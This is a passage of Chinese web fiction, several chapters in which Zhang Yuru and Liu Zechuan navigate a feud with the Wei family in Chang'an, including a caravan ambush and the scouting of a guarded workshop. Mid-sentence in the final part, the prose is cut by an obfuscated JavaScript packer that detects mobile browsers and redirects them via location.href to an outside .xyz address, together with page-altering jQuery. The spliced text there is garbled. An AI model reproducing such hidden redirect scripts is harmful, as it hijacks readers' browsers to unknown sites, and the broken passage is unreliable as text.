他曾以为,远观时的长安城已是极致的雄伟,可此刻身处其中,才明白这座城的气魄,从不止于那道厚重的城墙——它的雄伟,藏在规整的街道布局里,藏在各行各业的井然有序中,藏在往来人群的从容神色间。 这份近在咫尺的震撼,比远观时的壮阔更真切,也更让人明白,为何雍州人会说“雍州是雍州,长安是长安”——这座城,早已凭着自身的气度,活成了一个独立的符号。 踏入长安城的那一刻,柳泽川心里那股因“一路顺畅”而起的忐忑,瞬间被眼前的繁华与心底翻涌的豪情冲散了大半。 他骑着马走在街道上,目光扫过两侧鳞次栉比的商铺、往来穿梭的人群,连之前紧绷的肩线都放松了不少,嘴角不自觉地向上扬起——这才是能让他施展拳脚的地方! 比起云溪镇那片小天地,长安城的每一寸土地都透着“机遇”二字,只要能在这里站稳脚跟,别说巩固自己的当前地位,说不定还能让柳家那些手握重权的长老刮目相看。 他甚至已经在心里盘算开了:先把带来的货物清点清楚,交给柳家在长安的药材铺管事;再借着“谈生意”的由头,去拜访赵家在长安的分舵主,巩固两家的合作关系。 若是有机会,还得去魏家的护卫局附近转转,看看能不能摸清他们的底细——毕竟魏家是柳家的对头,多了解些总没坏处。 越想,柳泽川越是心潮澎湃,连催马的速度都快了几分。 好在柳家在长安早有布局,并非毫无根基。 进城约莫半个时辰后,队伍便跟着一个穿着柳家商号服饰的伙计,拐进了一条相对安静的街巷。 街巷两侧多是带院子的宅邸,门口挂着的灯笼上,有的印着“柳”字,有的则是其他家族的徽记——显然,这里是各大家族在长安安置产业、人员的聚居区。 “各位爷,前面就是咱们柳家的住处了。”伙计停下脚步,指着前方两座相邻的宅邸说道。 其中一座宅邸稍大,院门敞开着,能看到里面堆放的木箱,显然是用来存放货物和供护卫居住的;另一座则小些,院墙上爬着青藤,看着更像是住家的小院。 众人跟着伙计走进大些的宅邸,才发现里面的空间虽不算小,却早已被隔成了几个简陋的房间。 “实在对不住各位,长安城里的宅子金贵,咱们家能拿下这处已经不容易了。”伙计带着歉意解释道,“后面这几间房,每间能住七八个人,铺盖都已经备好,各位先凑活住些日子,等后续有了空闲宅子,再给各位调整。” 护卫们听了,虽有些不情愿——毕竟在云溪镇时,每人都有单独的铺位——但也知道长安居大不易,便没多抱怨,各自提着行李去找自己的房间。 柳泽川站在院子里,看着护卫们的背影,眉头微蹙,却也没说什么——他心里清楚,在长安这种地方,能有个遮风挡雨的住处就不错了,计较这些反而显得小家子气。 不过,柳泽川很快转头,对着张玉汝露出了客气的笑容,抬手引着他往旁边的小院走:“姜兄,你跟小雪跟我来,我给你们安排了单独的院子。” 那座小院虽小,却收拾得干净整洁:院里种着一棵老槐树,树下摆着一张石桌、两把石椅。 屋内分了两间房,一间是卧室,铺着柔软的被褥,另一间则是简陋的厅堂,桌上还放着一套新的茶具;甚至连小院的角落里,都特意隔出了一块小空地,方便小雪练习能力。 “姜兄,你是咱们这趟任务的核心,可不能跟其他人挤在一起。”柳泽川笑着解释道,语气里满是拉拢的意味,“这小院虽然简陋,但胜在清净,你跟小雪住在这里,也能方便些。往后在长安,还有不少地方要仰仗姜兄。” 他心里打得算盘很清楚:张玉汝不仅战力强,还懂训练护卫、应对异兽,是个实打实的“能人”。 如今到了长安,局势比云溪镇复杂得多,无论是应对魏家的刁难,还是打理柳家的产业,都少不了张玉汝的帮忙。 对这样有大用的人,自然要格外优待,先把关系处好,往后才能更好地使唤。 张玉汝看着眼前的小院,又看了眼身旁满眼欢喜的小雪,对着柳泽川微微颔首:“多谢公子费心了。”他心里清楚柳泽川的用意,却也没点破——有个独立的小院,不仅能让小雪住得舒服些,也方便他暗中调查,算是一举两得。 安顿好众人后,柳泽川便带着两个心腹护卫,揣着交接货物的文书匆匆离开了——他要先去柳家在长安的药材总铺,与管事核对货物清单,还要顺便去趟赵家的长安分舵,提前打好关系。 临走前,他特意跟张玉汝叮嘱:“姜兄,这段时间大家先歇着,等我把交接的事理顺,再安排后续的护卫任务。长安治安严,一般没人敢闹事,你也别太紧绷。” 说罢,便带着人快步融入了街上的人流。 其他护卫得了空闲,顿时松了口气,纷纷卸下行李,聚在院子里商量着去哪里消遣。 有人拍着胸脯提议:“听说长安西市的‘醉仙楼’,不仅有上好的女儿红,还有西域来的舞姬,咱们去开开眼?” 还有人附和:“我听人说东市的勾栏里,有会耍‘火焰戏法’的艺人,比咱们云溪镇的杂耍好看多了!” 几人越说越热闹,见张玉汝站在一旁整理行李,便热情地凑过来邀请:“姜先生,一起去呗?咱们这一路辛苦,正好去放松放松!” 张玉汝却笑着摇了摇头,指了指屋里的被褥:“不了,这一路舟车劳顿,我打算先歇会儿,养养精神。你们玩得开心些,注意安全就好。” 他这话半真半假——确实需要调整状态,但更重要的是,他没心思去酒楼勾栏寻乐,心里还惦记着要打探消息。 护卫们见他态度坚决,也不勉强,嬉笑着结伴出了门。 小院里很快安静下来,小雪在屋里摆弄着从云溪镇带来的行李,张玉汝叮嘱了她几句“别乱跑,有事就喊我”,便在留下了一具分身之后,换了身更不起眼的粗布短衫,悄悄出了门。 他没往繁华的西市或东市去,反而拐进了附近一条相对僻静的街巷。 街巷尽头,有家挂着“老酒馆”木牌的小店,门面不大,门口摆着两张旧木桌,几个穿着短打的汉子正坐在桌旁喝酒聊天,透着一股市井的烟火气。 这正是张玉汝要找的地方——比起那些装潢精致的酒楼,这种小酒肆才是真正“鱼龙混杂”的地方,往来的多是脚夫、商贩、巡逻的士兵,他们嘴里聊的,才是最真实的长安近况。 张玉汝挑了个靠角落的位置坐下,点了一壶最便宜的米酒和一碟茴香豆,便安静地听着周围人的谈话。 邻桌两个脚夫正聊着异兽袭扰的事:“你听说了吗?上周长安城外的‘黑风坡’,又有异兽出没,据说伤了好几个商队的人,魏家的护卫队去了三天,才把那异兽给杀了!” 另一个脚夫接话:“可不是嘛!我听我们掌柜说,魏家最近可忙了,不仅要护着赵家的粮队,还要帮秦家守矿山,连护卫的工钱都涨了两成!” 不远处,两个商贩模样的人则在议论柳家:“柳家最近在长安动静不小啊,我昨天路过他们的药材铺,见他们拉了不少新货,听说是什么‘新型疗伤药’,不知道效果怎么样。” “你可别买!我听魏家的人说,柳家的药是‘急功近利’做出来的,说不定有副作用!” 张玉汝端着酒杯,指尖轻轻摩挲着杯沿,将这些信息一一记在心里——魏家的动向、柳家药材铺的情况、城外异兽的分布,这些看似零散的消息,或许能帮他拼凑出更多线索。 他偶尔也会插一两句嘴,装作好奇的外地商贩,问些“长安哪个家族势力大”“最近有没有什么新鲜事”之类的问题,对方虽然见他面生,但看他如此随意,也没多想,随口便答了。 一壶米酒快喝完时,张玉汝已经摸清了不少情况:魏家近期确实在大肆扩张护卫业务,隐隐有垄断长安城外城安保的趋势。 柳家的药材铺最近遭到了不少“匿名举报”,说是“药材来源不明”,虽没被查封,却也影响了生意。 还有人提到,长安城南有处废弃的工坊,最近常有魏家的人出入,具体在做什么,却没人知道。 这些信息让张玉汝心里多了几分计较——魏家对柳家的打压,果然已经延伸到了长安,这些信息虽然暂时看不出来什么东西,但也不能够放过。 第 24章 冲突 张玉汝在酒馆里坐了近一个时辰,听到的多是些街头巷尾的闲言碎语——比如哪家酒楼的菜涨价了,哪个坊市的异兽材料最新鲜,真正跟柳家、魏家核心相关的消息少得可怜。 但他并不气馁,初来长安,人心未熟,消息渠道本就需要慢慢搭建,一次打探没有收获,本就在意料之中。 眼看日头偏西,酒馆里的人渐渐多了起来,张玉汝便顺势将剩下的小半壶米酒一饮而尽,故意晃了晃身子,让脸颊泛起几分“醉红”,脚步也变得踉踉跄跄。 邻桌几个刚进来的脚夫见了,忍不住打趣:“这位兄弟,酒量不行就少喝点,看这走不动道的样儿!” 张玉汝含糊地应着“高兴、难得高兴”,手撑着桌子慢慢起身,还差点撞翻了桌边的空碗,在众人的哄笑声与“酒量差还逞能”的嘲讽里,磕磕绊绊地挪出了酒馆。 出了门,他没有立刻恢复常态,依旧维持着醉醺醺的姿态,脚步虚浮地沿着街边走。 他特意绕开了之前来的路,选了一条更僻静的小巷,偶尔还会扶着墙“干呕”两声,看上去跟真的喝多了没两样——他不想让人察觉到自己的异常,装醉既是掩护,也能让暗处可能存在的眼线放松警惕。 就这样晃了约莫两刻钟,才终于绕回柳家安排的驻地附近。 他悄悄调整了呼吸,确认四周没人跟踪,才推开那座小院的侧门。 “姜大哥,你回来啦!” 门刚推开,小雪清脆的声音就传了过来。只见她正坐在院中的石凳上,手里捧着一块半透明的冰霜碎片,见张玉汝进来,立刻眼睛一亮,起身就想往他身边跑。 可刚跑两步,她鼻尖动了动,似乎闻到了张玉汝身上的酒味,脚步猛地顿住,下意识地往后退了半步——那动作很轻,几乎只是脚尖微微向后挪了一点,若不仔细看,根本察觉不到。 但这细微的动作,却没逃过张玉汝的眼睛。 他嘴角微微抽了抽,心里也有些无奈——虽说他是装醉,可那酒的味道确实不轻,沾在衣服上,闻着确实有些冲。 “嗯,去了趟酒馆,跟人聊了聊。”张玉汝没有解释自己装醉的事,只是点了点头,顺手将身上的粗布短衫脱了下来,搭在院中的晾衣绳上——能散散味也好。 小雪走到他身边,仰着小脸,眉头轻轻蹙着,语气带着几分认真:“姜大哥,喝酒对身体不好,容易伤胃,以后还是少喝些吧。” 她说着,还伸手拉了拉张玉汝的袖口,眼神里满是关切。 张玉汝心里一暖。 他很清楚,那点米酒对他来说根本不算什么——只要运转体内的能量,片刻就能将酒精分解干净,连一丝痕迹都留不下。 可看着小雪那双写满担忧的眼睛,他实在说不出“我没真喝醉”“这点酒伤不到我”之类的话,那样反而显得辜负了这份关心。 他蹲下身,与小雪平视,脸上露出一抹温和的笑容,轻轻拍了拍她的头顶:“好,听小雪的,以后我尽量少去,就算去,也不喝这么多了。” 小雪见他答应得痛快,眉头立刻舒展开来,眼睛又亮了起来,转身跑回石凳旁,拿起那块冰霜碎片递给他:“姜大哥,你看!我今天练的时候,碎片能凝结出小雪花了!” 说着,她指尖轻轻一点碎片,几片细小的、晶莹剔透的雪花便从碎片上飘了下来,落在石桌上,很快化成了水珠。 张玉汝看着那些小雪花,眼中闪过一丝赞许:“进步很快,继续加油。” 小院里的气氛渐渐变得轻松起来,刚才装醉的疲惫、打探消息的谨慎,似乎都被这份简单的关切与欢喜冲淡了些。 柳泽川在长安的开局,与张玉汝如出一辙——他带着精心准备的礼品,先去了赵家长安分舵拜访分舵主。 可对方虽表面客气,端着茶聊了半晌,却始终绕着其他的话题打转,既没承诺会加大药材供应,也没提会帮柳家应对魏家的刁难,只一句“泽川公子初来长安,先熟悉熟悉情况,后续合作咱们再从长计议”,便把他打发了。 之后他又去见了几位在长安任职的柳家旁支成员,这些人要么以“事务繁忙”为由匆匆应付,要么明里暗里打探他在云溪镇的业绩,言语间满是对他“嫡系身份却没实打实功劳”的轻视。 接连几次碰壁,柳泽川心里憋着一股火,他在云溪镇虽不算顶尖,却也是一方防区的负责人,何曾受过这种冷遇? 可转念一想,自己刚到长安,没做出任何实绩,人家不认可也在情理之中,便又强行压下了火气,脸上依旧维持着客气的笑容。 直到第五天,他终于在驻守长安的柳家长老柳宏远那里得了些进展。 柳宏远是柳家旁支出身,在长安经营多年,虽然不是名义上的最高负责人,却握着柳家在长安部分药材铺的管理权。 或许是看在“同宗”的份上,或许是想借柳泽川的“嫡系身份”平衡其他势力,柳宏远最终松了口,把两家位于西市的商铺交给了他打理,只撂下一句“这两家铺子前阵子受魏家打压,生意惨淡,你要是能盘活,往后长安的事务,我自然会在族里为你说话”。 拿到商铺管理权的柳泽川,心里稍稍松了口气,却没打算把这些事告诉张玉汝。 在他看来,张玉汝虽有能力,终究是个“外来人”,既不是柳家嫡系,也不是他的心腹——自己碰壁的窘迫、争取权力的小心思,这些牵扯家族内部利益的事,没必要让一个外人知道。 更何况,他还想着等自己做出成绩,再“请”张玉汝帮忙,届时既能彰显自己的主导地位,也能让张玉汝更服帖。 他不知道的是,自己这几日的行踪与碰壁,早已被张玉汝看在眼里。 张玉汝虽没刻意跟踪,却借着每日出门“打探消息”的机会,多次在赵家分舵、柳家长老宅邸附近见到过柳泽川的马车,也从酒馆里脚夫的闲聊中,拼凑出了大概情况。 但张玉汝没打算点破,也没主动上前帮忙——柳泽川不愿让他掺和,他也乐得清闲,毕竟自己的核心目标是追查柳家的秘密,而非帮柳泽川争夺权力。 于是,两人便形成了一种微妙的“互不干涉”状态:柳泽川忙着打理商铺,整日泡在西市,与掌柜、伙计商量如何提升销量,偶尔遇到魏家护卫故意刁难,也只自己硬扛。 张玉汝则除了每日上午花一个时辰训练柳家护卫——教他们应对长安城外可能出现的“遭遇战战”“商队护卫”等场景,其余时间都用来打探消息。 他不再只盯着小酒馆,而是把范围扩大到了西市的药材摊、东市的异兽材料店,甚至是城门口巡逻的士兵——有时会装作买药材的商人,跟摊主闲聊“最近哪家药材好卖”“魏家是不是常来查货”。 有时会帮巡逻士兵带酒,趁机打听“城外异兽的动向”“魏家最近有没有大规模调动护卫”;遇到秦家工坊的工人,还会凑上去问“最近有没有帮柳家运过货”“工坊里有没有见过特殊的药材”。 无论是雍州四大家族的明争暗斗——比如赵家最近减少了对魏家粮队的供应,秦家在暗中帮柳家运输药剂。 还是长安城内部的势力分布——比如城南是魏家的驻地,城北秦家势力不小,城西则是赵家与柳家的缓冲区;甚至是一些看似无关的细节——比如最近有不少“外来流浪者”涌入长安,大多被秦家的人接走了,张玉汝都一一记在心里。 他像一块海绵,不断吸收着关于长安的各种信息,哪怕是看似无用的传闻,也没放过——谁也说不准,哪条信息里就藏着他追查的“人体实验”“新型药剂”的线索。 而随着信息量的增加,一个模糊的猜测渐渐在他心里成形:柳家在长安的动作,或许不只是为了应对魏家的打压,那新型药剂的研发,说不定也与长安有着某种隐秘的联系。 这样平静规律的日子,在长安城里维持了半个多月。 张玉汝每日上午训练护卫,下午便换身装扮穿梭在市井间打探消息,偶尔还会带着小雪去长安的老街逛逛,看她对着街边的糖画、捏面人兴奋不已。 柳泽川则一心扑在西市的药材铺和商队上,从最初的手忙脚乱,到后来渐渐能熟练安排货物装卸、协调护卫路线,倒也有了几分“主事人”的模样。 若是一直这样下去,或许柳泽川真能在长安站稳脚跟,张玉汝也能慢慢拼凑出柳家秘密的全貌,连护卫们都渐渐忘了出发前对魏家的忌惮——毕竟长安的治安实在太好,半个多月里别说遇袭,连口角冲突都少见。 可“平静”往往是暴风雨的前兆。就在柳泽川一行人几乎要把魏家的威胁抛在脑后时,对方终于动了手。 事情的起因,是柳泽川接手的新任务。 柳家在长安的商队分两支:一支负责往返云溪镇与长安,运送药剂原料与成品;另一支则以长安为中心,将药剂送往周边的小型聚居地。 柳宏远见柳泽川前些日子把药材铺打理得还算妥当,便将其中一支去往“清溪聚居地”的商队交给了他——清溪聚居地离长安不过百里,规模不大,生意也算不上核心,但对柳泽川而言,却是证明自己的绝佳机会。 不得不说,柳泽川确实有几分能力。 他把张玉汝教的“协同御敌”战术反复教给商队护卫,每次出发前都要亲自核对路线、检查护卫装备,往返清溪聚居地三次,商队连货物损耗都极少,更别说人员伤亡。 护卫队里那名他亲手提拔的高级能力者——擅长操控大地能力的李护卫,更是成了他的左膀右臂,几次帮着化解了路上的异兽袭扰。 柳泽川甚至已经在盘算,再过两个月,说不定就能向柳宏远申请接手去往更大聚居地的商队。 可这份“顺风顺水”,在两天前的第四次往返中失灵了。 那天清晨,柳泽川带着商队刚出长安城门,就察觉不对劲——往常热闹的官道上,连个行人都没有,路边的草丛里,还隐约透着股血腥味。 他刚想让商队停下,就见两侧树林里突然冲出数十名蒙面人,个个手持淬了毒的短刃,身上的气息凶悍,明显是受过专业训练的死士。 “是魏家的人!”柳泽川心头一紧,立刻让李护卫带人护着商队后撤,自己则抽出腰间长剑迎了上去。 可对方人数太多,且战力远超商队护卫,几个回合下来,柳家的护卫就倒下了大半。 李护卫为了掩护柳泽川撤退,硬生生用大地能量筑起一道土墙,自己则留在墙后抵挡蒙面人,最后力竭战死,连尸体都被对方带走了。 柳泽川带着仅剩的两名护卫,拖着受伤的腿逃回长安时,商队的货物早已被洗劫一空,随行的十余名护卫,只活下来三人。 此刻的柳泽川,正坐在自己的房间里,左臂缠着厚厚的绷带,脸色苍白得吓人。 他手里攥着李护卫生前常用的护具,指节因为用力而泛白,眼底满是猩红的恨意——李护卫是他从云溪镇带出来的,跟着他出生入死,是他在长安最信任的心腹,如今却为了护他而死,连个全尸都没留下。 “魏家……我跟你们没完!”他咬牙切齿地低吼,声音里满是压抑的痛苦与愤怒。 从前,魏家与柳家的矛盾于他而言,不过是家族间的利益纷争,他顶多是有些忌惮;可现在,李护卫的死,让这份矛盾变成了血海深仇——他不需要证据,那些蒙面人的战力、出手的狠辣,还有对长安周边商队路线的熟悉程度,除了魏家,没人能做到。 柳泽川受伤、商队遇袭的消息,很快传到了张玉汝耳中。 虽然这半个多月里,两人交流不多,柳泽川甚至刻意避开与他谈论商队的细节,但于情于理,张玉汝都该去探望——毕竟柳泽川对他有“提携之恩”,也是他们这一队人的主事。 张玉汝提着一小包从药铺买来的疗伤药材,敲开了柳泽川的房门。 刚进门,就闻到一股浓重的药味与血腥味混合在一起,柳泽川坐在桌旁,头发凌乱,眼底布满血丝,全然没了往日的意气风发。 “姜兄……”柳泽川抬头见是他,声音沙哑地开口,语气里满是疲惫与颓丧。 张玉汝将药材放在桌上,目光扫过他缠着绷带的左臂,又看了看他手里的匕首,没有多问遇袭的细节,只是平静地说:“好好养伤,其他的事,等伤好了再说。” 他心里清楚,柳泽川此刻最需要的不是安慰,也不是分析谁是凶手,而是发泄情绪的空间。 这场突如其来的遇袭,也表明了一件事——魏家对柳家的打压,已经从“暗中使绊子”升级到了“公然动手”。 不过就在张玉汝想要告别之前,面色复杂的柳泽川叫住了他。 “姜兄,我想请你帮我一个忙。” 第 25章 出手 张玉汝的手刚搭上门框,准备告辞让柳泽川独自静一静,身后便传来柳泽川沙哑的声音,带着几分难以掩饰的复杂情绪:“姜兄,等等——我想请你帮我一个忙。” 他转过身,见柳泽川已经从椅子上站起身,虽因左臂的伤势微微晃了晃,却还是强撑着站直了身子,眼底的猩红褪去些许,多了几分恳切。 桌上那件护具被他紧紧攥在手里,指腹反复摩挲着手柄上的纹路,像是在给自己打气。 “柳兄请说。”张玉汝收回手,重新走到桌旁,语气依旧平静——他大概能猜到柳泽川想说什么,却没先开口点破。 柳泽川深吸一口气,目光落在张玉汝脸上,带着几分自嘲与决绝:“之前……是我太自负了,总想着自己能在长安闯出些名堂,没好意思多麻烦姜兄。 可现在……”他顿了顿,声音低了下去,“我的商队没了,李护卫也没了,魏家那群人摆明了是要赶尽杀绝。我知道,凭我现在的本事,就算再拉起一支队伍,也斗不过魏家。” 他抬起头,眼神里多了几分急切:“姜兄,你是我见过最有本事的人——不管是训练护卫,还是应对危险,都比我强太多。我想请你帮我盯着魏家的动静,尤其是他们在城南那处废弃工坊的行踪。我怀疑……这次袭击我们商队的人,就是从那里调出来的。” 说到“废弃工坊”,柳泽川的声音压得更低,眼底闪过一丝狠厉:“我听说魏家最近总往那地方派人,还不让外人靠近。之前我没当回事,现在想来,他们说不定是在那里藏了一些东西,专门用来对付我们柳家!只要能搞清楚他们在那里的把戏,我就能去柳家长老那里求助,让家族出面收拾魏家!” 他攥着**的手又紧了紧,指节泛白:“我知道这事危险,魏家的人肯定看得紧。但我实在没办法了——李护卫不能白死,那些死去的护卫也不能白死!只要姜兄肯帮我,日后在长安,我柳泽川只要有什么机会,绝不会忘了姜兄!” 张玉汝看着柳泽川此刻的模样——没了往日的傲气,也没了嫡系子弟的架子,只剩下被仇恨与绝境逼出来的恳切。 他心里暗自思忖:城南的废弃工坊,他之前在酒馆打探消息时,也听脚夫提过一嘴,说魏家的人看得极严,连靠近都不让。 若是魏家真在那里藏了私兵,说不定还藏着其他秘密,或许与柳家的新型药剂、甚至人体实验有关。 帮柳泽川查探,既不算违背自己的初衷,还能借着这个由头,深入了解魏家的动向,说不定能找到更多与柳家秘密相关的线索。 思忖片刻,张玉汝点了点头,语气依旧沉稳:“公子放心,魏家的动静,我会帮你留意。不过城南工坊情况不明,不能贸然行动,得先摸清楚那边的守卫路线与作息,再做打算。你现在最重要的是养好伤,别再冲动行事。” 柳泽川见他答应,紧绷的肩膀瞬间垮了下来,眼里闪过一丝感激,声音也哽咽了几分:“多谢姜兄……多谢!只要能查清魏家的阴谋,我一定记你这份恩情!” 张玉汝没再多说,只是叮嘱了几句“按时换药”,便转身离开了房间。 其实即便柳泽川没有开口求助,张玉汝大概率也会找机会去探一探魏家的底细——魏家这趟对商队的突袭,很有可能是两大家族博弈之间的一个微不足道的环节。 张玉汝的核心目标始终清晰:查清柳家快速崛起的根源,以及这背后是否牵扯“天人”的痕迹。 但他从不是个会在一条路上死磕的人——此前在云溪镇,他盯着柳家的植物、实验室查了许久,却始终找不到人体实验的直接证据,更摸不到“天人”关联的边。 如今到了长安,魏家突然以如此激进的方式打压柳家,反倒让他嗅到了一丝“异常”的味道。 魏家明明握有雍州最强的武力,却偏偏选择用“蒙面袭击商队”这种不光彩的手段,——这背后未必只是“赶尽杀绝”那么简单。 会不会是柳家的崛起,触及了魏家也在觊觎的东西? 比如那新型药剂的核心技术,甚至是与“天人”相关的隐秘? 毕竟在这个异兽肆虐的世界,力量才是一切的根本,任何能让家族快速变强的力量,都足以让各方势力撕破脸皮。 再者,张玉汝始终记得柳家那新型药剂的诡异——研发周期短到不合常理,效果却又十分出众。 对于这种能够快速提升一个家族实力的秘密,魏家自然也会觊觎。 若是能从魏家这边找到一些关于他们针对柳家的原因,说不定就能反过来推导出柳家研发药剂的真正秘密。 就像他之前在云溪镇悟到的那样——「造化之眼」的弱点,要靠拓宽认知来弥补;而追查真相的困局,有时也需要换个方向才能解开。 柳家这条路走不通,未必不能从“对手”魏家身上找到突破口。 毕竟柳家与魏家如今已是死敌,魏家为了打压柳家,必然会搜集柳家的各种情报,说不定魏家手里,就握着连张玉汝都没查到的柳家秘辛。 所以柳泽川的求助,更像是给了张玉汝一个“名正言顺”的理由——不再是“暗中探查”,而是“帮柳泽川复仇”,既能减少不必要的怀疑,也能更自然地接触到魏家的核心区域,比如那处神秘的城南废弃工坊。 离开柳泽川的住处后,张玉汝没有直接回小院,而是绕到了城南的街巷。 隔着两条街,他便能看到那处废弃工坊的轮廓——高墙围着,墙头缠着带刺的异种金属防护网,门口有魏家护卫来回巡逻,连靠近都透着一股生人勿近的气息。 张玉汝悄悄放出一个分身,让它贴着墙根潜行,借着阴影的掩护,观察着护卫的换班规律,以及工坊里偶尔透出的能量波动。 分身传回的感知里,工坊深处似乎藏着某种微弱的异能量,既不像异兽的气息,也不像普通能力者的能量波动,带着几分冰冷的、非人的质感——这让张玉汝心里多了几分猜测。 初步摸清工坊的大致轮廓后,张玉汝没有急着深入,反而放缓了节奏——他知道,魏家能把这里当作隐秘据点,必然布下了层层防备,贸然行动只会打草惊蛇。 他将更多精力放在了将情报更进一步精细化上,每天夜里都会放出三两个分身,像幽灵般贴着工坊外围的高墙、小巷移动,一点点拼凑出这里的“防御图谱”。 分身的感知里,工坊正门常年驻守着两队护卫,每队五人,战力都在中级能力者水准,手里握着淬了异能量的长刀,腰间还别着信号筒——一旦发现异常,就能立刻召唤支援。 而在工坊中央的塔楼里,始终有一道更强的能量波动盘踞,张玉汝判断那是一名高级能力者,擅长的应该是偏向于侦测感知的能力,因为好几次他的分身刚靠近工坊百米范围,就能够感受到塔楼里的能量轻微波动,像是在扫描周围的动静。 换班规律也被他摸得一清二楚:白日里每两小时换一次班,护卫交接时会有三分钟的空隙;到了深夜,换班间隔拉长到三小时,且凌晨三点到五点那班,护卫们常会靠着墙根打盹——那是人体最疲惫的时段,也是工坊防御最松懈的窗口。 至于进出通道,除了正门,他的分身还在工坊后墙发现了一处废弃的排水口,口部被生锈的铁栅栏封着,栅栏缝隙里缠着些干枯的杂草,看起来许久没被翻动过。 但张玉汝注意到,栅栏底部的泥土有新鲜的碾压痕迹,像是最近有人悄悄清理过。 地下通道暂时没找到痕迹,但他从工坊周围土壤的能量残留判断,这里的地下土层似乎被人为改造过,说不定藏着未被发现的密道。 物资运输的线索更关键。每天深夜丑时,都会有三辆盖着黑布的马车从工坊侧门驶出,马车车轮裹着厚布,行驶时几乎没有声响。 张玉汝让分身悄悄跟上过一次,发现马车最终驶向了长安城外的一座山谷,山谷入口有魏家的护卫把守,根本无法靠近。 但他从马车驶过路面时留下的能量痕迹判断,车上装的不是矿石——矿石的能量厚重且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16390811|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂乱,而这些马车的能量波动带着几分“鲜活”,更像是某种植物或药材,甚至可能是……活体生物? 这个猜测让他心里多了几分凝重。 与此同时,他也没浪费柳泽川的资源。 借着“帮柳泽川查探魏家踪迹”的名义,他挑了两个机灵、嘴甜的护卫,让他们在工坊附近的街巷摆了个小摊,卖些便宜的伤药和异兽肉干。 两人白天守着摊子,跟周围摆摊的小贩、路过的老居民闲聊,渐渐套出了不少信息:“那处工坊啊,以前是宋家的机械坊,三年前因为异能量泄漏,停工了半年,后来就被魏家买走了。” “魏家接手后就邪门得很,白天大门紧闭,晚上总传出‘嗡嗡’的声响,有时候还能看到戴银色面具的人进出。” “上个月有个拾荒的老头想爬墙进去捡点废铁,刚翻上去就被里面的人打下来了,腿都打断了,后来再也没人敢靠近。” 更幸运的是,护卫们还找到了一位曾在宋家机械坊工作过的老工匠。 老工匠喝了几杯酒,就打开了话匣子:“那工坊底下有三层地下室,以前是放大型机械零件的,魏家买走后,就把地下室的入口封了,还从外面运了不少奇怪的设备进去……我记得有次晚上路过,看到他们运进去的箱子里,好像装着玻璃罐子,罐子里有东西在动。” 这些碎片化的信息,像拼图一样在张玉汝脑海里慢慢成型——魏家在工坊里藏的,绝不是简单的私兵,说不定和“实验”有关,而这实验,或许还和柳家的新型药剂、甚至他追查的“天人”线索有关。 在此期间,张玉汝没忘了拉上柳泽川。 他每周都会去柳泽川的住处,带着画好的工坊防御地图,指着上面的标记汇报:“公子你看,这是魏家的护卫岗,每两小时换班;这里是侧门,深夜会有马车驶出;后墙的排水口可能是个突破口,但需要先清理掉铁栅栏。” 柳泽川看着地图上密密麻麻的标注,原本因伤而低落的情绪渐渐被复仇的迫切取代,他会主动补充:“我让城门口的老周帮着盯了,魏家最近运进工坊的物资里,有不少‘凝血草’——这东西是做疗伤药的,但用量太大了,不太正常。” “我认识一个药材铺的掌柜,他说魏家前段时间收过一批‘幽荧草’的替代品,叫‘暗纹草’,药效差不多,但毒性更强。” 这些来自柳泽川关系网的消息,恰好补上了张玉汝情报里的缺口——“凝血草”用量大,说明工坊里可能常有人员受伤;“暗纹草”替代“幽荧草”,则暗示魏家或许也在研究类似柳家的新型药剂,甚至可能在模仿柳家的实验。 其实张玉汝很清楚,以他的实力,若是想强行潜入工坊,未必做不到——他的分身擅长潜行,本体战力也足够应对宗师级以下的一切麻烦。 但他不敢赌,魏家有两位宗师级能力者坐镇长安,其中一位据说擅长“能量溯源”,能感知到异能量的细微残留。 他在云溪镇能避开柳家的探查,不代表能躲过魏家宗师的眼睛——一旦被发现,不仅他自身难保,小雪也会陷入危险。 而借用柳泽川的名义,无疑是更稳妥的选择。 柳泽川是柳家嫡系,他安排人查探魏家,在旁人看来天经地义;就算魏家察觉到异常,也只会认为是柳泽川在为商队遇袭报仇,绝不会想到背后还有张玉汝的身影。 等到时机成熟,张玉汝再借着机会潜入,就算事后魏家追查,也只会算在柳家头上。 这种事情就像黄泥巴掉裤裆,怎么都说不清。 不过张玉汝在利用柳泽川的名义的同时,也没有忘了对方的请求。 他在探查时,特意留意着魏家袭击商队的证据——他的分身找到了蒙面人遗落在现场的武器,武器上残存着能量痕迹,根据这些残存的痕迹,他可以很轻易地确定对方的身份。 这些证据,他都悄悄收了起来,打算等合适的时候交给柳泽川——他要查的是柳家的秘密,但柳泽川的仇,他也会帮着报。 第 26章 突袭 子夜的钟声刚过,城南魏家废弃工坊的监控室内,昏黄的灯光映着两台老旧的监视器屏幕,屏幕上跳动着密密麻麻的绿色光点——那是工坊外围的能量感应装置,只要有超过中级能力者的能量波动靠近,光点就会变成红色。 魏大有靠在椅背上,双手交叉放在脑后,眼神涣散地盯着屏幕,手指无意识地敲着桌面,发出“哒哒”的轻响。 他今年三十五岁,是魏家旁支里最不起眼的那种——将近二十年的时间,只是从初级能力者走到了中级能力者的程度。 既没有操控强大能力的天赋,也没有强悍的体术,在人才辈出的魏家,像他这样的“中庸者”,能分到监控室这份差事,全靠沾了“魏”姓的光。 “我说全忠,你说咱们俩什么时候才能熬出头啊?”魏大有打了个哈欠,声音里满是不耐。 “天天在这破屋里盯着破屏幕,连风都吹不着,跟那些守城门的士兵有什么区别?上次我去参加家族聚会,我堂哥还笑话我‘守着个铁盒子当宝贝’,气得我当场就走了。” 坐在他对面的魏全忠推了推鼻梁上的旧眼镜,目光从屏幕上移开,叹了口气:“还能怎么办?谁让咱们没本事呢。你看看大哥魏大勇,人家是高级雷系能力者,现在跟着家主身边做护卫,那是前途无量。” “再看看小妹魏玲,擅长追踪,上个月还立了功,得了家主赏赐的‘破邪**’。咱们俩……也就只能守着这监控室混口饭吃了。” 